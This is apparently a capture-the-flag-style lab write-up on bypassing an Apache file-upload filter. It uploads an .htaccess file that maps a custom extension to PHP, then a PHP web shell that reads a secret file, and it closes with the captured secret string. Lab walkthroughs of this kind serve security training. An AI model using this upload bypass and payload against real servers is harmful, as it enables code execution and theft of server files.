Skip to content

File upload

Apache/2.4.41

alt text

  1. Change the value of the filename parameter to .htaccess.

  2. Change the value of the Content-Type header to text/plain.

  3. Replace the contents of the file (your PHP payload) with the following Apache directive:

AddType application/x-httpd-php .ptest alt text

  1. Change the value of the filename parameter to catch.ptest.

  2. Change the value of the Content-Type header to file/ptest.

  3. Replace the contents of the file (your PHP payload) as the following:

<?php echo file_get_contents('/home/carlos/secret'); ?>

alt text

alt text

7ZvAWSv1Xdoi9ZncVatq3WqKuBFkYe3Q